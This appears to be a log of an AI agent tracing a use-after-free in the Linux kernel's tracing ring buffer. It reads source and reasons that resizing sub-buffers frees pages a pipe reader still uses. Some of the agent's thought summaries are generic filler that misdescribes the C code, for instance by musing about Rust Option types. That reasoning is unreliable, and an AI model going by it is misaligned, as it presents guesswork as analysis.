Tokens:
input: 11878
output: 36
thoughts: 12
Thoughts: **My Thought Process Upon Encountering `__find_next_entry`**
Alright, so the first thing on my mind is to dive into the `__find_next_entry` function. I need to understand exactly what it's doing. My immediate goal is to dissect its logic and identify its purpose within the broader system. I'm assuming, given the naming convention, that this function is responsible for locating the subsequent data entry in some sort of sequence or data structure. I'll be looking for how it determines what "next" means in this context – is it based on an index, a pointer, a timestamp, or perhaps some other ordering mechanism? I’ll also be paying close attention to its parameters and return values; these will tell me what information it requires to perform its task and what it provides upon successful completion. Error handling is another critical area I'll be scrutinizing. What happens if there *is* no next entry? Does it return a specific sentinel value, raise an exception, or perhaps have some other strategy for signaling the end of the sequence? Understanding these edge cases and how they're managed is paramount for robust system design. Ultimately, I want to grasp the algorithm, its performance characteristics, and its implications for the overall data flow and management.
|
| 24/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:2366 LineCount:50]
Results: map[Contents:2366: static struct trace_entry *
2367: __find_next_entry(struct trace_iterator *iter, int *ent_cpu,
2368: unsigned long *missing_events, u64 *ent_ts)
2369: {
2370: struct trace_buffer *buffer = iter->array_buffer->buffer;
2371: struct trace_entry *ent, *next = NULL;
2372: unsigned long lost_events = 0, next_lost = 0;
2373: int cpu_file = iter->cpu_file;
2374: u64 next_ts = 0, ts;
2375: int next_cpu = -1;
2376: int next_size = 0;
2377: int cpu;
2378:
2379: /*
2380: * If we are in a per_cpu trace file, don't bother by iterating over
2381: * all cpu and peek directly.
2382: */
2383: if (cpu_file > RING_BUFFER_ALL_CPUS) {
2384: if (ring_buffer_empty_cpu(buffer, cpu_file))
2385: return NULL;
2386: ent = peek_next_entry(iter, cpu_file, ent_ts, missing_events);
2387: if (ent_cpu)
2388: *ent_cpu = cpu_file;
2389:
2390: return ent;
2391: }
2392:
2393: for_each_tracing_cpu(cpu) {
2394:
2395: if (ring_buffer_empty_cpu(buffer, cpu))
2396: continue;
2397:
2398: ent = peek_next_entry(iter, cpu, &ts, &lost_events);
2399:
2400: /*
2401: * Pick the entry with the smallest timestamp:
2402: */
2403: if (ent && (!next || ts < next_ts)) {
2404: next = ent;
2405: next_cpu = cpu;
2406: next_ts = ts;
2407: next_lost = lost_events;
2408: next_size = iter->ent_size;
2409: }
2410: }
2411:
2412: iter->ent_size = next_size;
2413:
2414: if (ent_cpu)
2415: *ent_cpu = next_cpu;
]
|
| 25/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 12638
output: 32
thoughts: 17
Thoughts: **My Thought Process Regarding `__find_next_entry` and `peek_next_entry`**
Alright, as I'm diving into this code, the immediate observation is the dependency chain: `__find_next_entry` clearly relies on `peek_next_entry`. This isn't a surprise, it's a very common pattern. When I see a function like `__find_next_entry`, I'm immediately thinking about its core responsibility – locating the subsequent piece of data or structural element within some ordered collection or stream. The double underscore prefix often suggests an internal, perhaps less exposed, helper function, so I'm already anticipating it's a building block for something else.
The fact that it *calls* `peek_next_entry` tells me a significant part of its logic likely involves looking ahead without necessarily consuming the next item. This is a crucial distinction in many algorithms, especially those dealing with iterators, parsing, or state machines. `peek_next_entry` is, in my mind, the mechanism that provides this foresight. It's the function I'd go to if I needed to inspect what's coming up next in the sequence without advancing my current position.
So, my thought process here is: "Okay, `__find_next_entry` needs to know what the *next* entry is, but it also needs to be able to *find* it. This suggests `peek_next_entry` is providing the 'what' – the actual value or representation of the next entry – and `__find_next_entry` is handling the 'how' and 'where' of finding it. It might be that `__find_next_entry` is responsible for the logic of *advancing* to that next entry, or perhaps performing some checks or validations based on what `peek_next_entry` reveals before deciding to consume it or proceed with further processing. It's a clear illustration of a modular design where one function (peek) provides a specific capability (lookahead), and another (find) orchestrates its use within a larger task (locating the next item)."
|
| 26/2 |
2026/08/12 02:29 |
tool |
grepper |
0m
Args: map[Expression:peek_next_entry PathPrefix:kernel/trace/trace.c]
Results: map[Output:kernel/trace/trace.c=2341=static struct trace_entry *
kernel/trace/trace.c:2342:peek_next_entry(struct trace_iterator *iter, int cpu, u64 *ts,
kernel/trace/trace.c-2343- unsigned long *lost_events)
--
kernel/trace/trace.c=2367=__find_next_entry(struct trace_iterator *iter, int *ent_cpu,
--
kernel/trace/trace.c-2385- return NULL;
kernel/trace/trace.c:2386: ent = peek_next_entry(iter, cpu_file, ent_ts, missing_events);
kernel/trace/trace.c-2387- if (ent_cpu)
--
kernel/trace/trace.c-2397-
kernel/trace/trace.c:2398: ent = peek_next_entry(iter, cpu, &ts, &lost_events);
kernel/trace/trace.c-2399-
--
kernel/trace/trace.c=2622=struct trace_entry *trace_find_next_entry(struct trace_iterator *iter,
--
kernel/trace/trace.c-2641- /*
kernel/trace/trace.c:2642: * The __find_next_entry() may call peek_next_entry(), which may
kernel/trace/trace.c-2643- * call ring_buffer_peek() that may make the contents of iter->ent
]
|
| 27/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 13060
output: 36
thoughts: 11
Thoughts: **My Thought Process on `peek_next_entry`**
Alright, so the immediate impulse is to dive straight into the `peek_next_entry` function. This is where the action is, where we get our first glimpse into the data stream without actually consuming it. My mind is already racing, anticipating the possibilities and the potential pitfalls. I'm thinking about how this function is designed to interface with the underlying data source. Is it a simple pointer advancement, or does it involve more complex buffer management? I'm also considering the implications for state management. If I peek, what state is preserved? What needs to be explicitly managed to ensure I don't fall out of sync with the actual consumption of the entry? I'm also keenly aware of the potential for this to be a bottleneck or a point of contention if multiple threads or processes are trying to access the data concurrently. How does it handle concurrency? Does it employ locks, or is it designed for lock-free access? And of course, there's the question of error handling. What happens if the peek operation fails? What are the possible error conditions, and how are they signaled? I'm also considering the data structure itself. What's the format of the entry being peeked at? Is it a fixed-size record, or is it variable-length? This will heavily influence how the peek operation is implemented and how much information I can reliably extract. I'm trying to visualize the internal state of the data structure and how `peek_next_entry` interacts with it. It's like looking at the tip of an iceberg; I know there's a whole lot more beneath the surface, and this function is my key to understanding what's immediately accessible.
|
| 28/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:2341 LineCount:50]
Results: map[Contents:2341: static struct trace_entry *
2342: peek_next_entry(struct trace_iterator *iter, int cpu, u64 *ts,
2343: unsigned long *lost_events)
2344: {
2345: struct ring_buffer_event *event;
2346: struct ring_buffer_iter *buf_iter = trace_buffer_iter(iter, cpu);
2347:
2348: if (buf_iter) {
2349: event = ring_buffer_iter_peek(buf_iter, ts);
2350: if (lost_events)
2351: *lost_events = ring_buffer_iter_dropped(buf_iter) ?
2352: (unsigned long)-1 : 0;
2353: } else {
2354: event = ring_buffer_peek(iter->array_buffer->buffer, cpu, ts,
2355: lost_events);
2356: }
2357:
2358: if (event) {
2359: iter->ent_size = ring_buffer_event_length(event);
2360: return ring_buffer_event_data(event);
2361: }
2362: iter->ent_size = 0;
2363: return NULL;
2364: }
2365:
2366: static struct trace_entry *
2367: __find_next_entry(struct trace_iterator *iter, int *ent_cpu,
2368: unsigned long *missing_events, u64 *ent_ts)
2369: {
2370: struct trace_buffer *buffer = iter->array_buffer->buffer;
2371: struct trace_entry *ent, *next = NULL;
2372: unsigned long lost_events = 0, next_lost = 0;
2373: int cpu_file = iter->cpu_file;
2374: u64 next_ts = 0, ts;
2375: int next_cpu = -1;
2376: int next_size = 0;
2377: int cpu;
2378:
2379: /*
2380: * If we are in a per_cpu trace file, don't bother by iterating over
2381: * all cpu and peek directly.
2382: */
2383: if (cpu_file > RING_BUFFER_ALL_CPUS) {
2384: if (ring_buffer_empty_cpu(buffer, cpu_file))
2385: return NULL;
2386: ent = peek_next_entry(iter, cpu_file, ent_ts, missing_events);
2387: if (ent_cpu)
2388: *ent_cpu = cpu_file;
2389:
2390: return ent;
]
|
| 29/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 13881
output: 36
thoughts: 319
Thoughts: **The Core of My Debugging Realization**
Ah, I see the crux of the issue here. My current line of thought is circling around this `peek_next_entry` function and how it interacts with the underlying ring buffer. It returns a pointer, `iter->ent`, which is essentially a direct handle into a page within that ring buffer.
Now, the critical problem I've identified is that this `iter->ent` pointer, which I'm using downstream in functions like `print_trace_line`, `print_trace_fmt`, `trace_raw_output_sys_enter`, `trace_event_printf`, and ultimately `ignore_event`, is pointing to memory that has *already been freed*. This is a classic use-after-free scenario, and the implications are, naturally, severe.
The immediate question that arises is: *why* was that particular buffer page freed? My investigation into the call stack leading to the `free_buffer_page` reveals the culprit: `buffer_subbuf_size_write`.
Looking at that stack trace:
```
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0x12d5/0x18a0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221
vfs_write+0x2aa/0x1050 fs/read_write.c:685
```
This tells me that `buffer_subbuf_size_write` was called, and its action was to modify the subbuffer size. This modification, it seems, necessitated a reallocation of the ring buffer pages, leading to the deallocation of the very page my `iter->ent` was pointing to.
This brings me to a critical question about concurrency and locking. I'm holding `trace_access_lock(iter->cpu_file)` within `tracing_read_pipe`. Does this lock, in fact, prevent `buffer_subbuf_size_write` from executing concurrently and causing this problem? I need to delve deeper into the implementation of `buffer_subbuf_size_write` itself to understand its locking behavior and how it interacts with the `trace_access_lock`. This is the next logical step in untangling this bug.
|
| 30/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:8190 LineCount:50]
Results: map[Contents:8190: static ssize_t
8191: buffer_subbuf_size_write(struct file *filp, const char __user *ubuf,
8192: size_t cnt, loff_t *ppos)
8193: {
8194: struct trace_array *tr = filp->private_data;
8195: unsigned long val;
8196: int old_order;
8197: int order;
8198: int pages;
8199: int ret;
8200:
8201: ret = kstrtoul_from_user(ubuf, cnt, 10, &val);
8202: if (ret)
8203: return ret;
8204:
8205: val *= 1024; /* value passed in is in KB */
8206:
8207: pages = DIV_ROUND_UP(val, PAGE_SIZE);
8208: order = fls(pages - 1);
8209:
8210: /* limit between 1 and 128 system pages */
8211: if (order < 0 || order > 7)
8212: return -EINVAL;
8213:
8214: /* Do not allow tracing while changing the order of the ring buffer */
8215: tracing_stop_tr(tr);
8216:
8217: old_order = ring_buffer_subbuf_order_get(tr->array_buffer.buffer);
8218: if (old_order == order)
8219: goto out;
8220:
8221: ret = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, order);
8222: if (ret)
8223: goto out;
8224:
8225: #ifdef CONFIG_TRACER_SNAPSHOT
8226:
8227: if (!tr->allocated_snapshot)
8228: goto out_max;
8229:
8230: ret = ring_buffer_subbuf_order_set(tr->snapshot_buffer.buffer, order);
8231: if (ret) {
8232: /* Put back the old order */
8233: cnt = ring_buffer_subbuf_order_set(tr->array_buffer.buffer, old_order);
8234: if (WARN_ON_ONCE(cnt)) {
8235: /*
8236: * AARGH! We are left with different orders!
8237: * The max buffer is our "snapshot" buffer.
8238: * When a tracer needs a snapshot (one of the
8239: * latency tracers), it swaps the max buffer
]
|
| 31/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 14980
output: 36
thoughts: 104
Thoughts: **A Deep Dive into Tracing and Locking**
So, I've been scrutinizing the `buffer_subbuf_size_write` function, specifically its interaction with `tracing_stop_tr(tr)`. My immediate concern, given the complexity of tracing operations, was about locking. I needed to ascertain whether `tracing_stop_tr`, when called within `buffer_subbuf_size_write`, was acquiring any locks, particularly `trace_types_lock` or `trace_access_lock`. My initial scan of `buffer_subbuf_size_write` didn't reveal any explicit lock acquisitions within that function itself. This led me to pause and re-evaluate. Perhaps the locking behavior wasn't directly in `buffer_subbuf_size_write`, but rather within the `tracing_stop_tr` call. I then confirmed that `tracing_stop_tr` indeed *only* serves to halt the tracing process. This discovery prompted me to circle back and re-examine `tracing_read_pipe` with this new understanding, to see how it might be affected or interact with the observed locking (or lack thereof) in the tracing stop mechanism.
|
| 32/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:5430 LineCount:50]
Results: map[Contents:5430: if (cnt >= TRACE_SEQ_BUFFER_SIZE)
5431: cnt = TRACE_SEQ_BUFFER_SIZE - 1;
5432:
5433: /* reset all but tr, trace, and overruns */
5434: trace_iterator_reset(iter);
5435: cpumask_clear(iter->started);
5436: trace_seq_init(&iter->seq);
5437:
5438: trace_event_read_lock();
5439: trace_access_lock(iter->cpu_file);
5440: while (trace_find_next_entry_inc(iter) != NULL) {
5441: enum print_line_t ret;
5442: int save_len = iter->seq.seq.len;
5443:
5444: ret = print_trace_line(iter);
5445: if (ret == TRACE_TYPE_PARTIAL_LINE) {
5446: /*
5447: * If one print_trace_line() fills entire trace_seq in one shot,
5448: * trace_seq_to_user() will returns -EBUSY because save_len == 0,
5449: * In this case, we need to consume it, otherwise, loop will peek
5450: * this event next time, resulting in an infinite loop.
5451: */
5452: if (save_len == 0) {
5453: iter->seq.full = 0;
5454: trace_seq_puts(&iter->seq, "[LINE TOO BIG]\n");
5455: trace_consume(iter);
5456: break;
5457: }
5458:
5459: /* In other cases, don't print partial lines */
5460: iter->seq.seq.len = save_len;
5461: break;
5462: }
5463: if (ret != TRACE_TYPE_NO_CONSUME)
5464: trace_consume(iter);
5465:
5466: if (trace_seq_used(&iter->seq) >= cnt)
5467: break;
5468:
5469: /*
5470: * Setting the full flag means we reached the trace_seq buffer
5471: * size and we should leave by partial output condition above.
5472: * One of the trace_seq_* functions is not used properly.
5473: */
5474: WARN_ONCE(iter->seq.full, "full flag set for trace type %d",
5475: iter->ent->type);
5476: }
5477: trace_access_unlock(iter->cpu_file);
5478: trace_event_read_unlock();
5479:
]
|
| 33/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 15888
output: 32
thoughts: 34
Thoughts: **My Thought Process on `tracing_read_pipe` and `trace_access_lock`**
Okay, so I'm looking at the `tracing_read_pipe` function. My immediate action is to understand how it acquires access to the data it needs to read. I see it calls `trace_access_lock(iter->cpu_file)`. This tells me there's a locking mechanism in place to ensure thread-safe access to the trace data, specifically related to the CPU file (`iter->cpu_file`) associated with the iterator. My next step is to delve into `trace_access_lock` itself. I need to dissect its functionality to grasp the intricacies of this synchronization mechanism. What kind of lock is it? Does it acquire a mutex, a semaphore, or some other synchronization primitive? What are the potential implications of this lock on performance or concurrency? Understanding the behavior of `trace_access_lock` is crucial for a complete picture of how `tracing_read_pipe` operates and how it interacts with the tracing subsystem's data structures.
|
| 34/2 |
2026/08/12 02:29 |
tool |
grepper |
0m
Args: map[Expression:trace_access_lock PathPrefix:kernel/trace/trace.c]
Results: map[Output:kernel/trace/trace.c=770=static DEFINE_PER_CPU(struct mutex, cpu_access_lock);
kernel/trace/trace.c-771-
kernel/trace/trace.c:772:static inline void trace_access_lock(int cpu)
kernel/trace/trace.c-773-{
--
kernel/trace/trace.c-779-
kernel/trace/trace.c:780: /* Firstly block other trace_access_lock(RING_BUFFER_ALL_CPUS). */
kernel/trace/trace.c-781- down_read(&all_cpu_access_lock);
--
kernel/trace/trace.c=788=static inline void trace_access_unlock(int cpu)
--
kernel/trace/trace.c-797-
kernel/trace/trace.c:798:static inline void trace_access_lock_init(void)
kernel/trace/trace.c-799-{
--
kernel/trace/trace.c=808=static DEFINE_MUTEX(access_lock);
kernel/trace/trace.c-809-
kernel/trace/trace.c:810:static inline void trace_access_lock(int cpu)
kernel/trace/trace.c-811-{
--
kernel/trace/trace.c=816=static inline void trace_access_unlock(int cpu)
--
kernel/trace/trace.c-821-
kernel/trace/trace.c:822:static inline void trace_access_lock_init(void)
kernel/trace/trace.c-823-{
--
kernel/trace/trace.c=2753=static void *s_start(struct seq_file *m, loff_t *pos)
--
kernel/trace/trace.c-2805- trace_event_read_lock();
kernel/trace/trace.c:2806: trace_access_lock(cpu_file);
kernel/trace/trace.c-2807- return p;
--
kernel/trace/trace.c=5392=tracing_read_pipe(struct file *filp, char __user *ubuf,
--
kernel/trace/trace.c-5438- trace_event_read_lock();
kernel/trace/trace.c:5439: trace_access_lock(iter->cpu_file);
kernel/trace/trace.c-5440- while (trace_find_next_entry_inc(iter) != NULL) {
--
kernel/trace/trace.c=5548=static ssize_t tracing_splice_read_pipe(struct file *filp,
--
kernel/trace/trace.c-5590- trace_event_read_lock();
kernel/trace/trace.c:5591: trace_access_lock(iter->cpu_file);
kernel/trace/trace.c-5592-
--
kernel/trace/trace.c=7078=ssize_t tracing_buffers_read(struct file *filp, char __user *ubuf,
--
kernel/trace/trace.c-7123- again:
kernel/trace/trace.c:7124: trace_access_lock(iter->cpu_file);
kernel/trace/trace.c-7125- ret = ring_buffer_read_page(iter->array_buffer->buffer,
--
kernel/trace/trace.c=7254=ssize_t tracing_buffers_splice_read(struct file *file, loff_t *ppos,
--
kernel/trace/trace.c-7291- again:
kernel/trace/trace.c:7292: trace_access_lock(iter->cpu_file);
kernel/trace/trace.c-7293- entries = ring_buffer_entries_cpu(iter->array_buffer->buffer, iter->cpu_file);
--
kernel/trace/trace.c=9230=static __init int tracer_init_tracefs(void)
--
kernel/trace/trace.c-9233-
kernel/trace/trace.c:9234: trace_access_lock_init();
kernel/trace/trace.c-9235-
]
|
| 35/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 16994
output: 38
thoughts: 97
Thoughts: **My Thought Process Regarding Ring Buffer Locking Mechanisms**
Alright, let's break down this thought process about tracing and ring buffer locking.
My initial focus is on `trace_access_lock`. I'm trying to understand its scope and application within the tracing subsystem. My first thought is, "Okay, `trace_access_lock` is specifically for read operations. That's a crucial distinction."
Then, my inquiry immediately shifts to its interaction with other functions, particularly those involved in writing or manipulating the buffer. I'm asking myself, "Does `buffer_subbuf_size_write`, which sounds like a write operation, actually *use* `trace_access_lock`?" The answer I'm finding is no. This is important because it suggests that read and write operations might be protected by different mechanisms, or perhaps write operations are handled differently.
Following this line of questioning, I then consider another potential lock: `trace_types_lock`. I'm asking, "If `buffer_subbuf_size_write` isn't using `trace_access_lock`, does it perhaps rely on `trace_types_lock`?" Again, my investigation leads me to conclude, no, it doesn't. This further solidifies the idea that there isn't a single, monolithic lock protecting all access; rather, there are likely more granular and specific locks in play.
My attention then turns to `ring_buffer_subbuf_order_set`. This function name implies a configuration or ordering operation within the sub-buffer of the ring buffer. My next critical question is, "Does `ring_buffer_subbuf_order_set` even *take* any locks at all? If so, which ones?" This is a more open-ended question, and I know I need to consult the source code to get a definitive answer.
To resolve this, I'm deciding on the concrete step: "I need to go directly to the source. Let's check `ring_buffer_subbuf_order_set` specifically in the `kernel/trace/ring_buffer.c` file." This is where I'll find the definitive implementation details and understand its locking behavior, or lack thereof. This iterative process of hypothesis, questioning, and then direct verification in the code is how I build a precise understanding of these low-level system components.
|
| 36/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/ring_buffer.c FirstLine:7400 LineCount:50]
Results: map[Contents:7400: rb_head_page_deactivate(cpu_buffer);
7401:
7402: /*
7403: * Collect buffers from the cpu_buffer pages list and the
7404: * reader_page on old_pages, so they can be freed later when not
7405: * under a spinlock. The pages list is a linked list with no
7406: * head, adding old_pages turns it into a regular list with
7407: * old_pages being the head.
7408: */
7409: list_add(&old_pages, cpu_buffer->pages);
7410: list_add(&cpu_buffer->reader_page->list, &old_pages);
7411:
7412: /* One page was allocated for the reader page */
7413: cpu_buffer->reader_page = list_entry(cpu_buffer->new_pages.next,
7414: struct buffer_page, list);
7415: list_del_init(&cpu_buffer->reader_page->list);
7416:
7417: /* Install the new pages, remove the head from the list */
7418: cpu_buffer->pages = cpu_buffer->new_pages.next;
7419: list_del_init(&cpu_buffer->new_pages);
7420: cpu_buffer->cnt++;
7421:
7422: cpu_buffer->head_page
7423: = list_entry(cpu_buffer->pages, struct buffer_page, list);
7424: cpu_buffer->tail_page = cpu_buffer->commit_page = cpu_buffer->head_page;
7425:
7426: cpu_buffer->nr_pages = cpu_buffer->nr_pages_to_update;
7427: cpu_buffer->nr_pages_to_update = 0;
7428:
7429: old_free_data_page = cpu_buffer->free_page;
7430: cpu_buffer->free_page = NULL;
7431:
7432: rb_head_page_activate(cpu_buffer);
7433:
7434: raw_spin_unlock_irqrestore(&cpu_buffer->reader_lock, flags);
7435:
7436: /* Free old sub buffers */
7437: list_for_each_entry_safe(bpage, tmp, &old_pages, list) {
7438: list_del_init(&bpage->list);
7439: free_buffer_page(bpage);
7440: }
7441: free_pages((unsigned long)old_free_data_page, old_order);
7442:
7443: rb_check_pages(cpu_buffer);
7444: }
7445:
7446: atomic_dec(&buffer->record_disabled);
7447:
7448: return 0;
7449:
]
|
| 37/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 17931
output: 38
thoughts: 134
Thoughts: **My Thought Process Regarding Ring Buffer Locking**
Okay, so my initial observation is that `ring_buffer_subbuf_order_set` seems to be acquiring `cpu_buffer->reader_lock`. This immediately strikes me as potentially problematic, or at least something that warrants closer scrutiny, especially given the context of concurrent access and potential contention in a tracing subsystem.
Then, I immediately jump to a contrasting thought: `tracing_read_pipe` *doesn't* appear to be taking `cpu_buffer->reader_lock`. This is a significant divergence. If one function is locking and another, which seems to be operating on similar data structures, isn't, there's a crucial difference in their locking strategy that I need to understand. This could indicate different operational guarantees, performance implications, or even a potential race condition if the access patterns are not as distinct as they appear.
Naturally, my next step is to dive deeper into `tracing_read_pipe` to confirm my initial assessment and understand its internal mechanics. I recall it calls `trace_find_next_entry_inc`. This is a key function to examine.
Further tracing into `trace_find_next_entry_inc`, I find it leads to `__find_next_entry`. This is another layer of indirection, and it's important to follow the execution path.
The path continues to `peek_next_entry`. At this point, I'm getting closer to the core ring buffer interaction.
And finally, `peek_next_entry` calls either `ring_buffer_peek` or `ring_buffer_iter_peek`. This is where the actual interaction with the ring buffer's internal state for reading happens. The critical question then becomes: does `ring_buffer_iter_peek` (or `ring_buffer_peek`, for that matter) take `cpu_buffer->reader_lock`? This is the linchpin of my investigation. If it *does* take the lock, then my initial premise about `tracing_read_pipe` not taking it is incorrect, and I need to re-evaluate the entire sequence. If it *doesn't*, then the discrepancy in locking between `ring_buffer_subbuf_order_set` and the read path is a very real and important distinction that needs to be fully understood for its implications on data consistency and performance.
|
| 38/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/ring_buffer.c FirstLine:5850 LineCount:50]
Results: map[Contents:5850:
5851: spin:
5852: /*
5853: * Splice the empty reader page into the list around the head.
5854: */
5855: reader = rb_set_head_page(cpu_buffer);
5856: if (!reader)
5857: goto out;
5858: cpu_buffer->reader_page->list.next = rb_list_head(reader->list.next);
5859: cpu_buffer->reader_page->list.prev = reader->list.prev;
5860:
5861: /*
5862: * cpu_buffer->pages just needs to point to the buffer, it
5863: * has no specific buffer page to point to. Lets move it out
5864: * of our way so we don't accidentally swap it.
5865: */
5866: cpu_buffer->pages = reader->list.prev;
5867:
5868: /* The reader page will be pointing to the new head */
5869: rb_set_list_to_head(&cpu_buffer->reader_page->list);
5870:
5871: /*
5872: * We want to make sure we read the overruns after we set up our
5873: * pointers to the next object. The writer side does a
5874: * cmpxchg to cross pages which acts as the mb on the writer
5875: * side. Note, the reader will constantly fail the swap
5876: * while the writer is updating the pointers, so this
5877: * guarantees that the overwrite recorded here is the one we
5878: * want to compare with the last_overrun.
5879: */
5880: smp_mb();
5881: overwrite = local_read(&(cpu_buffer->overrun));
5882:
5883: /*
5884: * Here's the tricky part.
5885: *
5886: * We need to move the pointer past the header page.
5887: * But we can only do that if a writer is not currently
5888: * moving it. The page before the header page has the
5889: * flag bit '1' set if it is pointing to the page we want.
5890: * but if the writer is in the process of moving it
5891: * then it will be '2' or already moved '0'.
5892: */
5893:
5894: ret = rb_head_page_replace(reader, cpu_buffer->reader_page);
5895:
5896: /*
5897: * If we did not convert it, then we must try again.
5898: */
5899: if (!ret)
]
|
| 39/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 18861
output: 36
thoughts: 13
Thoughts: **A Deep Dive into `ring_buffer_iter_peek`**
Alright, let's get to the bottom of this `ring_buffer_iter_peek` function. My primary objective is to understand its precise behavior and its implications within the context of a ring buffer iterator.
My initial thought is to dissect its core functionality: what exactly does "peek" signify here? In the context of an iterator, "peeking" usually means getting a look at the *next* element that would be returned by `next()`, without actually consuming or advancing the iterator. This is crucial for scenarios where I might need to inspect the upcoming data point, perhaps for conditional processing or to make a decision about whether to proceed with the iteration, without committing to moving forward.
So, I'm anticipating that `ring_buffer_iter_peek` will return a reference (likely a mutable reference, given the nature of many buffer operations, but I'll need to confirm this) to the element at the iterator's current position, but critically, *without incrementing the internal pointer or modifying the buffer's state in a way that affects subsequent `next()` calls*.
I need to consider the edge cases and potential return values. What happens if the iterator is already at the end of the available data? Does it return `None`, or perhaps an empty `Option`? Or, could it panic? A well-designed peek operation should ideally return an `Option<&T>` (or `Option<&mut T>`), aligning with Rust's idiomatic handling of optional values. Returning `None` when there's nothing to peek at is the most robust and predictable behavior.
Furthermore, I'm wondering about the implications of peeking at a mutable reference, if that's indeed what it returns. If `peek` yields a `&mut T`, it implies that the caller can modify the element *in place* without advancing the iterator. This opens up possibilities for in-place transformations or validations. However, it also introduces potential complexities. If the buffer's structure or the validity of the element changes due to this in-place modification, how does the iterator handle subsequent `next()` calls? Does it re-evaluate the element, or does it assume the modification is benign? This is where understanding the internal invariants of the ring buffer and its iterator becomes paramount.
I also need to be mindful of thread safety. If this ring buffer and its iterator are intended for concurrent access, how does `ring_buffer_iter_peek` interact with synchronization primitives? Does it acquire locks? Does it use atomic operations? If it returns a mutable reference, how does it prevent data races?
Finally, my thought process will involve examining the function signature itself. The name is a strong hint, but the types of its parameters and return value will be the definitive source of truth. I'll be looking for clues about whether it operates on a shared reference (`&self`), a mutable reference (`&mut self`), or perhaps takes ownership of the iterator. The return type will confirm whether it's an `Option<&T>`, `Option<&mut T>`, or something else entirely. This detailed examination will allow me to fully grasp the guarantees and limitations of `ring_buffer_iter_peek` and how it fits into the broader picture of ring buffer iteration.
|
| 40/2 |
2026/08/12 02:30 |
tool |
grepper |
0m
Args: map[Expression:ring_buffer_iter_peek PathPrefix:kernel/trace/ring_buffer.c]
Results: map[Output:kernel/trace/ring_buffer.c=6115=rb_iter_peek(struct ring_buffer_iter *iter, u64 *ts)
--
kernel/trace/ring_buffer.c-6204-}
kernel/trace/ring_buffer.c:6205:EXPORT_SYMBOL_GPL(ring_buffer_iter_peek);
kernel/trace/ring_buffer.c-6206-
--
kernel/trace/ring_buffer.c=6284=EXPORT_SYMBOL_GPL(ring_buffer_iter_dropped);
--
kernel/trace/ring_buffer.c-6286-/**
kernel/trace/ring_buffer.c:6287: * ring_buffer_iter_peek - peek at the next event to be read
kernel/trace/ring_buffer.c-6288- * @iter: The ring buffer iterator
--
kernel/trace/ring_buffer.c=6294=struct ring_buffer_event *
kernel/trace/ring_buffer.c:6295:ring_buffer_iter_peek(struct ring_buffer_iter *iter, u64 *ts)
kernel/trace/ring_buffer.c-6296-{
]
|
| 41/2 |
2026/08/12 02:30 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 19197
output: 38
thoughts: 13
Thoughts: **My Thought Process Regarding `ring_buffer_iter_peek`**
Alright, I need to get into the nitty-gritty of this `ring_buffer_iter_peek` function. My immediate goal here is to understand its mechanics and its place within the larger ring buffer implementation, specifically how it allows an iterator to inspect an element *without* advancing the iterator itself.
First off, what does "peek" fundamentally mean in the context of iteration? It implies looking ahead, examining the next item that *would* be returned by a `next()` or equivalent operation, but crucially, *not* consuming it. This is a common pattern in iterators, useful for scenarios where you might want to conditionally process an element or use its value for some decision-making before committing to its removal or consumption.
So, for `ring_buffer_iter_peek`, I'm expecting it to access the element at the current iterator position. The key question is *how* it does this without advancing. Does it simply read the value directly? Does it check if there *is* a value at the current position?
Given it's a ring buffer, I anticipate that the iterator's current position will likely be tracked by an index or a pointer. `ring_buffer_iter_peek` will need to use this tracked position to locate the element within the underlying buffer's storage. The "ring" aspect means I need to be mindful of wraparound. If the current position is at the end of the buffer's physical memory, and the next logical element is at the beginning, the peek operation must correctly handle this modular arithmetic to find the right data.
Furthermore, a "peek" operation often implies a possibility of failure. What if the iterator is already at the end of the buffer, meaning there are no more elements to peek at? The function needs a robust way to signal this. I'd expect it to return some kind of optional value or a specific error indicator. This is crucial for correct usage by the caller, preventing dereferencing of invalid memory or unexpected behavior.
So, my mental model of `ring_buffer_iter_peek` is this:
1. It takes the current state of the iterator (likely its position within the ring buffer).
2. It uses this position to calculate the address of the element it's currently pointing to.
3. It checks if there is a valid element at that position.
4. If a valid element exists, it returns a reference or a copy of that element, *without* altering the iterator's internal state (i.e., without advancing its position).
5. If no valid element exists (e.g., the iterator is at the end or the buffer is empty), it signals this absence appropriately.
I'm particularly interested in how this interacts with the ring buffer's internal state – specifically, how the iterator's "current" position is defined relative to the buffer's head and tail, and how `peek` ensures it doesn't accidentally nudge those pointers. The separation of "peeking" from "consuming" is the core design principle I'm dissecting here.
|
| 42/2 |
2026/08/12 02:30 |
tool |
read-file |
0m
Args: map[File:kernel/trace/ring_buffer.c FirstLine:6294 LineCount:50]
Results: map[Contents:6294: struct ring_buffer_event *
6295: ring_buffer_iter_peek(struct ring_buffer_iter *iter, u64 *ts)
6296: {
6297: struct ring_buffer_per_cpu *cpu_buffer = iter->cpu_buffer;
6298: struct ring_buffer_event *event;
6299: unsigned long flags;
6300:
6301: again:
6302: raw_spin_lock_irqsave(&cpu_buffer->reader_lock, flags);
6303: event = rb_iter_peek(iter, ts);
6304: raw_spin_unlock_irqrestore(&cpu_buffer->reader_lock, flags);
6305:
